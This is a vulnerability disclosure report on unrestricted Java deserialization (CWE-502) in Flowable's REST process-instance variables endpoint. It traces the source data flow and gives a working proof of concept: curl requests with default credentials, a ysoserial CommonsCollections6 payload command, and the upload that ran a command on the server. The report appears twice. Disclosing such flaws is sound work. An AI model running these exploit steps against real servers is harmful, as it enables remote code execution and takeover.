Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint supports uploading binary variables via multipart/form-data. When the request's type parameter value is serializable, the server uses ObjectInputStream to directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist or ObjectInputFilter filtering. The rest.variables.allow.serializable property defaults to true in the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).
Exploitation Prerequisites
- Authentication Status: Requires valid Basic Auth credentials (regular user sufficient; default
authenticationMode=verify-privilege requires access-rest-api privilege, but authenticated() is sufficient)
- Network Reachability: Flowable REST API port reachable (default 8080)
- Input Constraints: Send a
multipart/form-data request containing a name parameter, type=serializable parameter, and a file field containing the malicious serialized payload
- Business Prerequisites: Need to know an existing
processInstanceId (can be obtained via other API endpoints or by creating a process instance)
- Configuration Dependencies: Triggerable with default configuration (
rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chains
Trigger Location
BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
Data Flow Overview
-
Entry Layer — ProcessInstanceVariableCollectionResource.createExecutionVariable() (ProcessInstanceVariableCollectionResource.java:149-154)
- Receives
@PostMapping /runtime/process-instances/{processInstanceId}/variables multipart/form-data request
- Calls
getExecutionFromRequestWithoutAccessCheck(processInstanceId) to get Execution object
- Delegates request to
BaseVariableCollectionResource.createExecutionVariable()
-
Dispatch Layer — BaseVariableCollectionResource.createExecutionVariable() (BaseVariableCollectionResource.java:83-86)
- Checks
request instanceof MultipartHttpServletRequest
- If multipart request, calls
setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
-
Parameter Parsing Layer — BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102-136)
- Extracts uploaded file and form parameters (
scope, name, type) from multipart request
- Validates
type only allows binary or serializable
- When
type=serializable, enters deserialization branch
-
Sink — ObjectInputStream.readObject() (BaseExecutionVariableResource.java:164-165)
- Directly uses
new ObjectInputStream(file.getInputStream()) to construct deserialization stream
- Calls
stream.readObject() to deserialize uploaded file content
- No class name whitelist, ObjectInputFilter, or ValidatingObjectInputStream protection
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE
Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154
@PostMapping(value = "/runtime/process-instances/{processInstanceId}/variables",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createExecutionVariable(
@ApiParam(name = "processInstanceId") @PathVariable String processInstanceId,
HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
return createExecutionVariable(execution, false, false, request, response);
}
- External input:
processInstanceId (path parameter), request (HTTP request, containing multipart data)
- Operation: Gets Execution object, then passes raw
HttpServletRequest to parent class method
- Data transfer:
request passed as method parameter to BaseVariableCollectionResource.createExecutionVariable()
Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86
protected Object createExecutionVariable(Execution execution, boolean override,
boolean async, HttpServletRequest request, HttpServletResponse response) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
} else {
// JSON body processing...
}
- External input:
request (HttpServletRequest passed from entry)
- Operation: Checks if request is MultipartHttpServletRequest, if so calls
setBinaryVariable()
- Data transfer: Casts
request to MultipartHttpServletRequest and passes it
Layer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
Execution execution, boolean isNew, boolean async) {
// ...
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) {
variableScope = paramMap.get(parameterName)[0];
} else if ("name".equalsIgnoreCase(parameterName)) {
variableName = paramMap.get(parameterName)[0];
} else if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
}
}
- External input: multipart file and form parameters from
request
- Operation: Extracts uploaded file object
file, and form parameters name, type, scope
- Data transfer:
file and variableType continue to be used within the same method
Layer 4: Sink — BaseExecutionVariableResource.java:144-166
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException(
"Only 'binary' and 'serializable' are supported as variable type.");
}
} else {
variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- External input:
file.getInputStream() (attacker-uploaded file byte stream), variableType (attacker-controlled form parameter)
- Operation: When
variableType is "serializable" and isSerializableVariableAllowed is true (default value), directly deserializes the entire uploaded file content via ObjectInputStream.readObject() into a Java object
- Key issue: No security wrappers used when constructing
ObjectInputStream (e.g., Apache Commons IO's ValidatingObjectInputStream, Java 9+'s ObjectInputFilter), no restrictions on deserialized class names
- Data transfer: Deserialized
Object value directly stored as variable value in process engine
Default Configuration Confirmation:
flowable-default.properties:57:
rest.variables.allow.serializable=true
BaseExecutionVariableResource.java:70:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Default value is true, meaning the deserialization path is fully available under default deployment.
CVSS Breakdown
| Vector |
Value |
Description |
| Attack Vector (AV) |
Network |
Triggered remotely via HTTP REST API |
| Attack Complexity (AC) |
Low |
Attacker only needs to send a multipart POST request, no special conditions |
| Privileges Required (PR) |
Low |
Requires valid Basic Auth credentials (regular user sufficient) |
| User Interaction (UI) |
None |
No user interaction required |
| Scope (S) |
Changed |
Deserialization RCE can affect Flowable engine and underlying OS, exceeding the vulnerable component's own scope |
| Confidentiality (C) |
High |
Successful exploitation can fully control server, access all sensitive data |
| Integrity (I) |
High |
Can modify arbitrary data, tamper with process definitions |
| Availability (A) |
High |
Can stop service, delete data |
Overall Score: 8.8 (High)
PoC Verification Report
Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST API ProcessInstance Variable Unrestricted Java Deserialization
- Affected Component/Port: Flowable REST API (Tomcat port 8080), version 7.1.0
- Vulnerability Description: Through the
POST /runtime/process-instances/{processInstanceId}/variables endpoint uploading type=serializable variables via multipart/form-data, the server directly calls ObjectInputStream.readObject() to deserialize uploaded file content without any class name whitelist or ObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCE
- Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
Attacker HTTP POST multipart/form-data
→ file=[CC6 gadget chain], name=testVar, type=serializable
↓
ProcessInstanceVariableCollectionResource.createExecutionVariable (ProcessInstanceVariableCollectionResource.java:149)
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83)
Detects MultipartHttpServletRequest → calls setBinaryVariable()
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102)
Extracts file, name, type parameters
↓
BaseExecutionVariableResource.java:164-165
new ObjectInputStream(file.getInputStream()).readObject() → RCE
Exploitation Conditions
| Condition |
Description |
| Authentication |
Requires valid Basic Auth credentials (regular user sufficient, e.g., rest-admin:test) |
| Network Reachability |
Flowable REST API port reachable (default 8080) |
| Configuration Dependency |
Exploitable with default config (rest.variables.allow.serializable=true) |
| Other Prerequisites |
Need an existing processInstanceId (can be obtained by creating a process instance via POST) |
Exploitation Chain Progress
Successful Exploitation:
| Chain Stage |
Location (file:line) |
Status |
Evidence / Description |
| Entry |
ProcessInstanceVariableCollectionResource.java:149 |
Reached |
POST multipart/form-data request with type=serializable parameter entered endpoint |
| Intermediate Flow |
BaseVariableCollectionResource.java:83 |
Reached |
request instanceof MultipartHttpServletRequest is true, entered setBinaryVariable() |
| Parameter Parsing |
BaseExecutionVariableResource.java:120-135 |
Reached |
Extracted name=testVar, type=serializable, variable type validation passed |
| Sink |
BaseExecutionVariableResource.java:164-165 |
Triggered |
ObjectInputStream.readObject() deserialized CC6 gadget chain, Runtime.exec() executed system command |
| Conclusion |
— |
Full Chain Closed, RCE Successful |
Filesystem produced file created by touch command as RCE evidence |
Exploitation Verification
Step 1: Obtain processInstanceId
curl -s -u rest-admin:test -X POST \
"http://localhost:8080/flowable-rest/service/runtime/process-instances" \
-H "Content-Type: application/json" \
-d '{"processDefinitionKey":"oneTaskProcess"}'
Return result (extract id field):
{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}
Step 2: Generate CommonsCollections6 serialized payload
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/poc_entry_0625_rce_proof" > cc6_touch.ser
Step 3: Send malicious multipart request to trigger RCE
PROCESS_ID="1b783b21-9000-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
-X POST \
-F "name=testVar" \
-F "type=serializable" \
-F "file=@cc6_touch.ser;type=application/octet-stream" \
"http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROCESS_ID}/variables"
Actual execution result: HTTP 201, variable created successfully:
{"name":"testVar","type":"serializable","value":null,
"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data",
"scope":"local"}
HTTP_CODE: 201
Step 4: Verify RCE command was executed on server
ls -la /tmp/poc_entry_0625_rce_proof
Actual result:
-rw-r----- 1 root root 0 Aug 4 12:29 /tmp/poc_entry_0625_rce_proof
Conclusion: The attacker successfully executed the touch /tmp/poc_entry_0625_rce_proof command on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file /tmp/poc_entry_0625_rce_proof on the filesystem directly proves that ObjectInputStream.readObject() triggered Runtime.exec() to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit:
74fdb349c134e96e1f10592020ccca6e2e4b85f0Static Analysis Report
Vulnerability Overview
The Flowable REST API's
POST /runtime/process-instances/{processInstanceId}/variablesendpoint supports uploading binary variables viamultipart/form-data. When the request'stypeparameter value isserializable, the server usesObjectInputStreamto directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist orObjectInputFilterfiltering. Therest.variables.allow.serializableproperty defaults totruein the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).Exploitation Prerequisites
authenticationMode=verify-privilegerequiresaccess-rest-apiprivilege, butauthenticated()is sufficient)multipart/form-datarequest containing anameparameter,type=serializableparameter, and afilefield containing the malicious serialized payloadprocessInstanceId(can be obtained via other API endpoints or by creating a process instance)rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chainsTrigger Location
BaseExecutionVariableResource.java:162-166Data Flow Overview
Entry Layer —
ProcessInstanceVariableCollectionResource.createExecutionVariable()(ProcessInstanceVariableCollectionResource.java:149-154)@PostMapping /runtime/process-instances/{processInstanceId}/variablesmultipart/form-data requestgetExecutionFromRequestWithoutAccessCheck(processInstanceId)to get Execution objectBaseVariableCollectionResource.createExecutionVariable()Dispatch Layer —
BaseVariableCollectionResource.createExecutionVariable()(BaseVariableCollectionResource.java:83-86)request instanceof MultipartHttpServletRequestsetBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)Parameter Parsing Layer —
BaseExecutionVariableResource.setBinaryVariable()(BaseExecutionVariableResource.java:102-136)scope,name,type) from multipart requesttypeonly allowsbinaryorserializabletype=serializable, enters deserialization branchSink —
ObjectInputStream.readObject()(BaseExecutionVariableResource.java:164-165)new ObjectInputStream(file.getInputStream())to construct deserialization streamstream.readObject()to deserialize uploaded file contentData Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE
Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154
processInstanceId(path parameter),request(HTTP request, containing multipart data)HttpServletRequestto parent class methodrequestpassed as method parameter toBaseVariableCollectionResource.createExecutionVariable()Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86
request(HttpServletRequest passed from entry)setBinaryVariable()requesttoMultipartHttpServletRequestand passes itLayer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136
requestfile, and form parametersname,type,scopefileandvariableTypecontinue to be used within the same methodLayer 4: Sink — BaseExecutionVariableResource.java:144-166
file.getInputStream()(attacker-uploaded file byte stream),variableType(attacker-controlled form parameter)variableTypeis"serializable"andisSerializableVariableAllowedistrue(default value), directly deserializes the entire uploaded file content viaObjectInputStream.readObject()into a Java objectObjectInputStream(e.g., Apache Commons IO'sValidatingObjectInputStream, Java 9+'sObjectInputFilter), no restrictions on deserialized class namesObject valuedirectly stored as variable value in process engineDefault Configuration Confirmation:
flowable-default.properties:57:rest.variables.allow.serializable=trueBaseExecutionVariableResource.java:70:Default value is
true, meaning the deserialization path is fully available under default deployment.CVSS Breakdown
Overall Score: 8.8 (High)
PoC Verification Report
Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE
Vulnerability Summary
POST /runtime/process-instances/{processInstanceId}/variablesendpoint uploadingtype=serializablevariables viamultipart/form-data, the server directly callsObjectInputStream.readObject()to deserialize uploaded file content without any class name whitelist orObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCEExploitation Conditions
rest-admin:test)rest.variables.allow.serializable=true)Exploitation Chain Progress
Successful Exploitation:
touchcommand as RCE evidenceExploitation Verification
Step 1: Obtain processInstanceId
Return result (extract
idfield):{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}Step 2: Generate CommonsCollections6 serialized payload
Step 3: Send malicious multipart request to trigger RCE
Actual execution result: HTTP 201, variable created successfully:
{"name":"testVar","type":"serializable","value":null, "valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data", "scope":"local"} HTTP_CODE: 201Step 4: Verify RCE command was executed on server
Actual result:
Conclusion: The attacker successfully executed the
touch /tmp/poc_entry_0625_rce_proofcommand on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file/tmp/poc_entry_0625_rce_proofon the filesystem directly proves thatObjectInputStream.readObject()triggeredRuntime.exec()to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.